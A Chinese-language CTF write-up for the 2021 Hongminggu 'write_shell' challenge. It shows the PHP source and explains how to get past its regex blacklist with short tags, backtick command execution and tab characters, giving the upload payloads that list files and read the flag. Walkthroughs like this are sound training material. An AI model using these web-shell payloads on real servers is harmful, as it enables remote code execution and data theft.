[红明谷CTF 2021]write_shell-1
1、打开之后直接就是源代码审计,源代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
2、对代码进行分析:
$_SERVER['REMOTE_ADDR']:指的是正在浏览当前页面用户的 IP 地址。
if(!file_exists($dir)){
mkdir($dir);//创建dir目录
}
参数action接收之后根据参数的不同执行不同的代码,当输入pwd时会返回创建的dir目录,payload:?action=pwd,如下:
file_put_contents()函数会把data数据写入到index.php文件中。
再看preg_match过滤的内容,包含:'_php~^eval等内容,但是没有过滤`,因此这里需要通过php短标签来绕过对php的检查,使用\t来绕过空格的检查,因此可以构造payload:?action=upload&data=<?=`ls\t/*`?>获取目下的信息,结果如下:
3、获得文件名称之后直接读取问价内容,payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>,执行完成之后请求我们获得的路径下的index.php文件即可获得flag,结果如下: